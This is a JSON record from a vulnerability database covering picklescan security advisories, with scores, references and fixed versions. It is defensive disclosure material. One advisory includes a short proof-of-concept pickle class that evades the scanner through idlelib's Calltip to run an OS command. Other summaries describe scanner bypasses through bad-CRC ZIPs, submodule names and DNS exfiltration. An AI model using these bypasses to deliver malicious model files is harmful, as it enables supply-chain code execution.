            "summary": "An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 picklescan allows a remote attacker to bypass security scans. This is achieved by crafting a ZIP archive containing a file with a bad Cyclic Redundancy Check (CRC), which causes the scanner to halt and fail to analyze the contents for malicious pickle files. When the file incorrectly considered safe is loaded, it can lead to the execution of malicious code.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-10156",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.01284",
                            "scoring_system": "epss",
                            "scoring_elements": "0.80089",
                            "published_at": "2026-06-12T12:55:00Z"
                        },
                        {
                            "value": "0.01284",
                            "scoring_system": "epss",
                            "scoring_elements": "0.80097",
                            "published_at": "2026-06-14T12:55:00Z"
                        },
                        {
                            "value": "0.01284",
                            "scoring_system": "epss",
                            "scoring_elements": "0.80106",
                            "published_at": "2026-06-13T12:55:00Z"
                        },
                        {
                            "value": "0.01284",
                            "scoring_system": "epss",
                            "scoring_elements": "0.80026",
                            "published_at": "2026-06-11T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-10156"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/28a7b4ef753466572bda3313737116eeb9b4e5c5",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/28a7b4ef753466572bda3313737116eeb9b4e5c5"
                },
                {
                    "reference_url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-152.yaml",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
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                        },
                        {
                            "vulnerability": "VCID-cj2u-dmaj-wbd4"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-cupp-7ca3-wfa6"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-d1k5-6npz-2kcg"
                        },
                        {
                            "vulnerability": "VCID-d4vv-a8kx-5kdc"
                        },
                        {
                            "vulnerability": "VCID-dsy5-2z6e-jqds"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fbng-xtyv-zqdf"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fsjg-pn1f-fqd6"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-hm3p-7t8t-bfb7"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-rqap-hdeb-1ffb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhdd-ck3x-pbh7"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.23"
                }
            ],
            "aliases": [
                "CVE-2025-1945",
                "GHSA-w8jq-xcqf-f792",
                "PYSEC-2025-21"
            ],
            "risk_score": 4.4,
            "exploitability": "0.5",
            "weighted_severity": "8.8",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-yvv5-7ah5-dfd8"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/112939?format=api",
            "vulnerability_id": "VCID-zh4p-1c3k-j3g8",
            "summary": "A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remote attacker to bypass the unsafe globals check. This is possible because the scanner performs an exact match for module names, allowing malicious payloads to be loaded via submodules of dangerous packages (e.g., 'asyncio.unix_events' instead of 'asyncio'). \n\nWhen the incorrectly considered safe file is loaded after scan, it can lead to the execution of malicious code.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-10157",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00265",
                            "scoring_system": "epss",
                            "scoring_elements": "0.50463",
                            "published_at": "2026-06-12T12:55:00Z"
                        },
                        {
                            "value": "0.00265",
                            "scoring_system": "epss",
                            "scoring_elements": "0.50468",
                            "published_at": "2026-06-14T12:55:00Z"
                        },
                        {
                            "value": "0.00265",
                            "scoring_system": "epss",
                            "scoring_elements": "0.50482",
                            "published_at": "2026-06-13T12:55:00Z"
                        },
                        {
                            "value": "0.00265",
                            "scoring_system": "epss",
                            "scoring_elements": "0.5033",
                            "published_at": "2026-06-11T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-10157"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/28a7b4ef753466572bda3313737116eeb9b4e5c5",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/28a7b4ef753466572bda3313737116eeb9b4e5c5"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/50",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/50"
                },
                {
                    "reference_url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-153.yaml",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-153.yaml"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10157",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10157"
                },
                {
                    "reference_url": "https://huggingface.co/iluem/linux_pkl/resolve/main/asyncio_asyncio_unix_events___UnixSubprocessTransport__start.pkl",
                    "reference_id": "asyncio_asyncio_unix_events___UnixSubprocessTransport__start.pkl",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "8.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-17T13:07:29Z/"
                        }
                    ],
                    "url": "https://huggingface.co/iluem/linux_pkl/resolve/main/asyncio_asyncio_unix_events___UnixSubprocessTransport__start.pkl"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-f7qq-56ww-84cr",
                    "reference_id": "GHSA-f7qq-56ww-84cr",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-f7qq-56ww-84cr"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-f7qq-56ww-84cr",
                    "reference_id": "GHSA-f7qq-56ww-84cr",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "8.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-17T13:07:29Z/"
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-f7qq-56ww-84cr"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L309",
                    "reference_id": "scanner.py#L309",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "8.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
                        },
                        {
                            "value": "9.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "CRITICAL",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-17T13:07:29Z/"
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L309"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89083?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.31",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.31"
                }
            ],
            "aliases": [
                "CVE-2025-10157",
                "GHSA-f7qq-56ww-84cr",
                "PYSEC-2025-153"
            ],
            "risk_score": 4.5,
            "exploitability": "0.5",
            "weighted_severity": "9.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-zh4p-1c3k-j3g8"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360504?format=api",
            "vulnerability_id": "VCID-zhdd-ck3x-pbh7",
            "summary": "Duplicate Advisory: Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate\n# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-93mv-x874-956g. This link is maintained to preserve external references.\n\n# Original Description\n\nThe unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization.",
            "references": [
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46417",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.8",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46417"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-4p4h-9gvq-7xfg",
                    "reference_id": "GHSA-4p4h-9gvq-7xfg",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-4p4h-9gvq-7xfg"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-93mv-x874-956g",
                    "reference_id": "GHSA-93mv-x874-956g",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.8",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-93mv-x874-956g"
                }
            ],
            "fixed_packages": [],
            "aliases": [
                "GHSA-4p4h-9gvq-7xfg"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-zhdd-ck3x-pbh7"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212450?format=api",
            "vulnerability_id": "VCID-zhzt-rnfn-73ab",
            "summary": "Picklescan vulnerable to Arbitrary File Writing",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/53"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
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                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-m273-6v24-x4m4",
                    "reference_id": "GHSA-m273-6v24-x4m4",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-m273-6v24-x4m4"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4",
                    "reference_id": "GHSA-m273-6v24-x4m4",
                    "reference_type": "",
                    "scores": [
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                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/36380?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.33",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.33"
                }
            ],
            "aliases": [
                "GHSA-m273-6v24-x4m4"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-zhzt-rnfn-73ab"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360645?format=api",
            "vulnerability_id": "VCID-zxc5-cgwk-qbcn",
            "summary": "Picklescan has a missing detection when calling built-in python idlelib.calltip.Calltip\n### Summary\n\nUsing idlelib.calltip.Calltip.fetch_tip, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.calltip.Calltip.fetch_tip function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nclass EvilCalltipFetchTip:\n    def __reduce__(self):\n        from idlelib.calltip import Calltip\n        # fetch_tip(expression) -> get_entity(expression) -> eval(expression)\n        return Calltip().fetch_tip, (\"__import__('os').system('whoami')\",)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-8r4j-24qv-fmq9",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-8r4j-24qv-fmq9"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-8r4j-24qv-fmq9",
                    "reference_id": "GHSA-8r4j-24qv-fmq9",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-8r4j-24qv-fmq9"
                }
            ],
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                    "url": "http://public2.vulnerablecode.io/api/packages/89081?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.29",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
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                        },
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                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
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                        },
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                            "vulnerability": "VCID-czzc-g8zx-1kbq"
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                        },
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                            "vulnerability": "VCID-fvhz-kyju-qkg5"
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                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
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                            "vulnerability": "VCID-zhzt-rnfn-73ab"
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                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.29"
                }
            ],
            "aliases": [
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            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-zxc5-cgwk-qbcn"
        }
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    "fixing_vulnerabilities": [],
    "risk_score": "4.5",
    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.5"
}